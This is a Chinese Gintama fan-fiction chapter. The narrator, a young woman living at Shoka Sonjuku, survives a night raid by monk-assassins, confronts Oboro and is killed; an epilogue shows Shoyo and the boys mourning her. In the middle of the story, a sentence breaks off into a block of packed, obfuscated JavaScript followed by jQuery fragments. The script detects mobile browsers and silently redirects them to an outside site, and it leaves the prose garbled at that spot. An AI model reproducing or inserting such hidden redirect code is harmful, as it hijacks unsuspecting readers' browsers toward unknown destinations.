还没入冬,凌晨的气温便让我冷醒……不对,那种冷意不是来自温度!
我猛地张扬,反应极快地翻滚,连人带被地滚出被褥。下一瞬,一柄刀刃插进被褥中,要是慢上半秒,插的就是我的胸口了。
黑暗中一抹气息迅速流动,我使劲横踢,一个黑影应声砸出了拉门之外。抄起竹刀,我顺着清脆的铃音追了出去。
月黑风高,视野算不上清晰,只能看到一个身穿黑衣的人迅猛地朝我袭来,手中的长刀在黑暗中划出银白色的弧光。
啪的一下,我拿在左手的墨砚被砍中,碎片之中对方的瞳孔轻颤,倒映着我冷凝的面容。右手狠狠地横劈,竹刀砍在那人的胸腹之间,把他整个甩飞至外面的篱笆上。
那人爬起来,想要握刀,我抬腿飞踢,把他的刀踢至一边,顺势狠狠地踩在他的胸膛上,竹刀用力刺下。
鲜血从他口中喷出,沾上我睡衣的一角。我沉静地垂眸看着他,“是采花还是偷钱?还是其他目的,从实招来。你无权保持沉默,但你所说的都将作为呈堂证供。”
妈的,台词又说惯了。
对方面容看不清,狠戾的双眼看着我,“你……不是那位大人……但为什么,你的时间……”
“阿萤!”咚咚咚的地板作响,桂他们冲了过来。
我下意识回头看了眼,踩着人的脚腕蓦地被抓住一甩,我整个人翻倒,脊背砸在地上一痛,喉咙顿时被掐住。
对方从身后箍着我,“别过来,把武器丢开!”
银时+高杉+桂,三人想都不想就把竹刀用力地扔过来。其中一把竹刀砸在身后人的额头,他吃痛地松了力度。
我握着他的手臂,借力抬腿后空翻,膝盖狠狠砸在他面上。双腿夹着他的头,死命把人压进地下。
“混蛋们,差点就砸到我了!”我押着人,抬头朝那边吼道。
“切,不是他叫丢的吗?我们也是怕他掐死你而已。”银时不负责任地道,慢慢地把他不离身的刀抽出来,架在那人的脖子上。
“说罢,是谁派你来?想要做什么?”高杉踩着那人的脸,无视他凶狠的目光,冷冷地问道。
桂护在我身前,带着我退后两步,“老师今晚不在,他们的目标是阿萤。”
我想起方才那人的话,目光微沉。他应该是以为我是那位大人……所以,那位大人,指的是松阳吗?
“先绑起来吧,老师早上就回来了,到时候再……”银时还没说完,漆黑的夜空忽然响起了诡异的乌鸦叫声。
高杉谨慎地抬头,无奈天空太黑,根本看不到什么,“银时,小心点。”
随着鸦鸣,一缕极细微的声响蓦地从边上而来。
“趴下!”
我神色一惊,猛地向前把桂扑倒护在身下,银时反应极快地撞倒高杉。同一时间,空气中掠过数道劲风,数支小臂长的针型暗器刺进地下。而方才被银时和高杉押着的人,像是幻影般消失了,在那一瞬之间。
那种紧绷的凝滞还没消失,我们四人握着刀背靠着背,警戒地环视四周的黑暗。
“那边!”银时忽然握着刀朝前面攻去,刀锋划出白色亮光,一屡鲜红飞溅。然而等他再攻之时,所有的气息骤然消失。
“可恶!”
我走向房间,发现床褥上的那柄刀也消失了,若不是那个痕迹还在,几乎要以为是大梦一场。那刀的刀柄,是法杖般的金属圈,难道……是那个男人?还是追踪他的人?
不对,他们的打扮是一样的,若不是同伙,那就是内讧?
“喂,你没事吧?”银时跟了进来,看了眼床铺上的痕迹,扛着刀语重深长,“都让你别乱惹风流债,这都夜袭上了……”
我果断地一脚过去把他扫出去,“脑子还没清醒就别学人玩侦探游戏了。”
“不,他脑子落在房间睡着了。”高杉冷哼一声,眼珠子移了一下,像是不甘心又不放心般,还是移到我这边,“你知道是哪一边的人吗?”
我摇了摇头,“不知道,明天等松阳回来再说吧。好了,没事了,你们回去睡吧,睡眠不足可是会长不高的哦。”
“阿银才不会,我都有好好地喝牛奶。”银时揉着摔痛的头,嘚瑟地笑道,“高杉赶紧回去睡吧,别到时候长不高赖阿萤。”
“那晋晋赶紧回去。”我脸色一正,催促道,“我可不想将来被你埋怨。”
“你两个够了啊……”十字路口蹦在他脸上,高杉抡起拳头。
桂难得没劝他们,只是担心地看着我,“阿萤,我们陪着你吧。”
“没事,回去睡吧。”我摸摸他披散长发的头柔安慰。眼前的他秀气得像个小女孩,但那眼神却有种超乎年龄的稳重。
银时打了个哈欠,越过我走向床褥,流畅地躺下,手一伸把我的被子盖上,“睡吧睡吧,天还没亮呢。”
“喂喂,我是说回去睡啊,你睡我的被窝做什么?”我没撤地拉了拉被子,“起来,我可不想被子全是你口水的味道。”
桂轻笑一声,在另一头钻进被子里,“那大家早点睡吧。”
我叹口气,回头看高杉已经自发地拿下我挂着的外套裹着自己坐在一边假寐了。说不感动是假,但……
“你们占了我的床,我睡哪里啊混蛋!”
啊,不行了,我要崛起,我要当长辈,当妈我也要他们对我恭敬。
掰了掰手指,我笑眯眯地看着这三个完全不听人话的混小子,拳头一紧,“家人们,告诉你们一个很重要的事情,成年女性的房间……只有她同意了才能留宿哦!”
砰砰砰三下,,这三只被被子卷成一团爽快地飞出门外。顺手把拉门关上,那微弱的埋怨全丢在门外。
等了好一会儿,夜色重新归于平静,我慢条斯理地打开朝向在另一边的窗,面无表情看向黑暗。
“说实话,夜袭的话我更喜欢温柔的肌肉帅哥。你这款的,我白天也不会考虑约会。为什么?因为我不喜欢太闷的。”
黑暗中慢慢走出一个高大的身影。男人指尖顶起头上的斗笠,露出那张空白的脸,冷漠的眼神让我紧了紧身上的外套。
“你比他们敏锐。”
“不要少看女人的第六感。”我扯唇笑了笑。那三只现在还没太多经验,而且……这人此刻没有杀气。
不是他不想杀我,而是……我诡异地笃定,他是不会在松下村塾杀人。至少,今晚不会。
“那些人要找的……那位大人,是松阳?你又是什么角色?刚才的人你杀了?是为了不让人发现他吗?”卧槽,说出松阳的名字那一刹那,那人迸发的气势好吓人!
我微微后仰,勉力维持镇定。
“知道太多,死得更快。”
哼,不就是死么?我经验比你丰富。再说,我本来就……我垂眸,心里有鬼无法直视这种犀利的目光。
“你是想杀我?为了让那些人觉得松下村塾的异常是因为我?”他注意到我时间停止,尽管不知道原因,但我总觉得他在那以后才想杀我的。
可是,为什么他们会留意松下村塾?跟松阳的传闻是否有关?
“不……”他沉默了一会,轻声道。忽然,他话音一停,瞬间消失在我眼前。
我微微一惊,不一会儿,细碎的声音传来。
啧啧,一句招呼都没就转身走的男人真差劲……当然,三更半夜不睡的就更不行了。
“晋晋啊,想要在女人门外等候的话,你还早了几年。而且,不睡觉真的会长不高哦。”
“少啰嗦!”
事情好像变得有点复杂。
那天松阳回来也没说什么,只是抱歉地说最近治安差了不会再让我们单独在家。嗯……我寻思着我们也不算单独,但他好像真的把我跟那三只划等号了。
不过,我莫名地觉得村塾课后的气氛有些凝重。我想跟他说那个男人的事,但每次想开口又不知道怎么说。
那人的一切我都不知道,是否跟这事有关也不一定。
日子好像恢复平和,那些僧侣打扮的人没再看到,连前段时间多起来的乌鸦也不见了。倒是那三个莫名打了鸡血般的小子觉得我实力有跃升,可以进阶。
我有点无语,他们对我学剑道的热情比自己上课还高。
“我上次听工匠说,他们村有人带来了相机。虽然不是这个名称,但他描述的就是这个,我们也拍一次吧~”穿好外出的鞋子,我抱着斗笠跟松阳说起之前的打算。
“是相片吗?”松阳想了想,也觉得这主意不错,“可以哦,到时候可以放在大家都看到的地方。”
“嗯嗯,松阳,我很喜欢拍照。”我双眼发亮,想起以前自己电脑里头的几十G相片。“我一直觉得人的记忆会被更新,但相片会把那一刻永远留存。就算将来分开了,只要看到就会记得有人这样出现在我生命中。”
“永远么……”松阳笑容一顿,抬手接过我的斗笠,亲自给我戴上,眼神温柔带笑,“就算没有照片,大家也不会忘记阿萤的笑容。说过了吧,阿萤有着我们没有却又向往的东西。”
“所以那到底是什么嘛哈哈。”我被他逗笑,把零食袋带上,“那我出门了。”
今天我要去造访那位工匠,他托人告诉我找到一个对机械有些研究的朋友,我再去碰碰运气。
“嗯,早点回来哦。这两天天气太冷,可能要下雪了。”松阳笑着叮咛,摇摇手目送我出门才回去准备上课。
那位朋友是有点东西,因为他问了个灵魂问题。这个怀表,是什么动力。
嗯……我还真没想过这个问题,主要是手机功能发展后,我很多年没用过手表了。没看到齿轮,也许是电池……但这个年代好像还没电池。
我看着怀表,坐在路边自言自语,“啊,如果是要换电池,那也很麻烦,要等到电池出现吗?可如果是换掉了,那我咋办?去找神威和夜王拼一下吗?”
这个想法很可怕,脑海里还浮现神威那张笑眯眯的脸蛋。我打了个寒颤,连忙把他甩出脑袋。
树梢颤抖的沙沙声比风声要大,我手一僵,低着头慢慢把怀表放回衣服里,“咋办呢,好像事到临头还是会紧张……人的本能还是占了上风呢……天气也不好,晚餐还没吃呢,下午茶也消化得差不多了……”
话音未落,寒光骤来,我眼神一厉,瞬间出手。
刀刃相接,明晃晃的刀身倒影出我的双眼。这还是我第一次那么直观地看到自己这双眸子里泛起狠戾的杀意,没有一丝笑意。
“呐,男人追太紧,就不是爱慕者而是跟踪狂了。”一个抬眸,我一个劈叉抬腿踢向他的下颚,就着他翻身的刹那跃开。
最近特训的成效显著,我挥刀的力道和速度都有很大的提升。
说起来,这刀还是出门前坑银时的,据说是松阳在初见时送他的,他宝贝得很。这么有纪念意义,可得完璧归赵,不然他会记恨我一辈子。
落在四周的僧侣人不少,为首的男人戴着斗笠,眼神冷漠。
身体的速度和敏捷度达到了高峰,刀刃砍在人体身上那种利落的凝滞感还是会让我心颤。这是第一次,也不知道能不能是最后一次,我以冷兵器这么用力地砍在人体上。
浓郁的血腥味几乎掩盖了林子里树木的芳香,那些粘稠的液体溅落在我身上,几乎要灼伤我的皮肤。
几近疯狂的反击下,我疾步往林子里逃去,身上的伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980828|158775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少得我有些嘚瑟。那三个小子那么高傲是有点底气的,我都能这样,他们确实很强啊……
可惜,现在还不足以面对这一切。
蓦地,脚下一痛,一根细针刺穿我的脚腕。踉跄跌倒的那刻,我咬牙横劈,仓惶地撞入那双如死水般平静的眼眸。
“为什么?”他挡下我的攻击,语气淡然却带了一抹疑惑。
我拔出细针,痛得想趁机捅他几下……想干就干,嗯,刀被打飞了。
“你是故意落单?为什么?”
“直男就少猜女人心了,什么故意,只有终日做贼,哪有人终日防贼。我只是不会因为你们这些外人改变自己的生活而已。”
这个观点连松阳也很认同,但跟我不一样的是,他们实力更强,底气更足。我今天出来也是争取很久的,没有人能时刻守在我身边,我也不需要这样。
“就算你死了,总有一天还是会……”男人冷漠得不近人情。
“那就在那一天来临之前,让这些平静的日子继续这样过下去吧。你一直关注我,不就是为了把他们的注意力引到我身上吗?”我打断他的话,勇敢地对他翻了个白眼。“而且,你是死人吗?不会搞些掩护吗?你也……不想松阳出事的,对吧?”
男人看着我良久,仿佛在探究我的想法,“你叫……阿萤?”
我不意外他知道,“对女士礼貌些,先报自己的名字好么?”
很意外地,他默了一下后便道,“胧。”
啊……这么简单?被他这样搅和一下,那些恐惧好像褪了些,我深呼吸,直视着他,“听着,如果你再对他们出手,我……我死了也要回来找你啊!还有,动手前通知一下,我希望我爸妈来接我。”
“你……果然是个怪物。”胧看着我,忽然道。
我承认,我的行为有种英雄主义的色彩,说难听点,是圣母。但,对松下村塾,对那些接纳我成为家人,对那些再怎么互怼眼底也会关切地看着我……甚至会在不经意回眸时以小狗怕被弃的眼神追着我的孩子们,除了这样,我想不到能为他们做什么了。
一切的善意和真诚,本质都是给予,不求回报。他们是这样,我也只是以我的奇遇,以一个我可能一直期待的结果,为那些保护着我的人们争取一些时间。
再多一点点时间,让他们再幸福一下,再成长一下的时间。这一切的岁月静好都会结束,但这些时光一定可以成为他们走过未来黑暗的支撑。
反正……我本来就想死来着……没准,这一次真的可以回家了。
脚步声急速而来,我和胧对望一眼,同时出手。
跟这个人交手好恐怖,刀刃劈过来的瞬间,凌厉的气势和沉重的压迫感排山倒海般席卷,那是一种经过无尽杀戮累积而成的恐怖。
刀锋刺进胸膛的时候,我听到怀表碎裂的脆响,无端地有一种解脱感。
视线弹指间收窄,我看着灰沉沉的天空,有些遗憾。
松阳说要下雪了,明明约好一起看初雪的……这下,银时是叫不醒我了。
所以说,不要随便约定啊,笨蛋。
双眼看到最后的画面,是胧那没有表情的脸庞,眼神有种我看不懂的复杂。
哎,晦气。
他蓦地伸出手,把我抱进怀中。
我来不及抗拒,所有意识归于混沌,跌入无尽黑暗。
………… ……………… 后记 ……………………
胧抱着怀中的女人,冷冷地看了一眼追过来的僧侣们,“这里已经……结束了。”
他抱着人,转身离开。
一柄长刀插在地上,直到第一场雪落。
飘零的雪花中,穿着素色和服的男子匆匆赶来,站在那里良久才伸手轻轻把刀收入鞘,没有一丝笑容的脸上一片空洞。地上没有多少血迹,他伸出手,任由雪花落在掌心,微微叹息,“真是个笨蛋呐……”
以家人换来的岁月安好,让他们怎么安然度过?
今年的初雪来得晚,却下得很大,第二天松下村塾的院子里已有积雪。
“老师,阿萤真的回家了吗?”
听到学生的话,松阳笑容不变,温柔地拍拍他的头,“是啊。听隔壁村的工匠说,那个来的机械师就是阿萤的父亲,阿萤看到他就想起自己的身世了。她父亲很想念她,所以就把人带回去了。”
“啊,怎么这么突然……不过她父亲一定是很好的人吧。”
“那,老师,阿萤还会回来吗?”
“她家好像有点远呢……可能要很久才能再见呢。”松阳有点无奈地道,忽然想起什么般笑了笑,“等天气好些,我们也请人来拍一下合照吧。”
孩子们听到这个,顿时好奇了,围着他问着拍照的事。
“喂,你怎么看?”高杉睨了一眼刚完虐了桂,还气鼓鼓仿佛在生闷气的银时。
挖鼻的手顿了一下,银时回头,死鱼眼很是愤慨,“能怎么看,无情的女人,明明说过要养我,现在一走了之。果然漂亮的女人都很会骗人。”
“你签了三次卖身契啊,还指望她养!不用你卖身三次你就感激吧!我是说,她真的……”高杉差点被他带偏,连忙扯回来。
“松阳说什么就是什么,你觉得他会骗我们吗?”银时打了个哈欠,没精打采的反问。
“当然不是!”
“所以,阿萤一定是回家了。”桂爬起来,低着头把刚才对打乱了的马尾重新扎起来。
银时手指在高杉的肩膀上擦了擦,无视他炸毛的指控,握着那个笨女人曾坑他借走的刀没说话,红眸微颤。
“我们……还不够强啊。”
所以,才没保护好。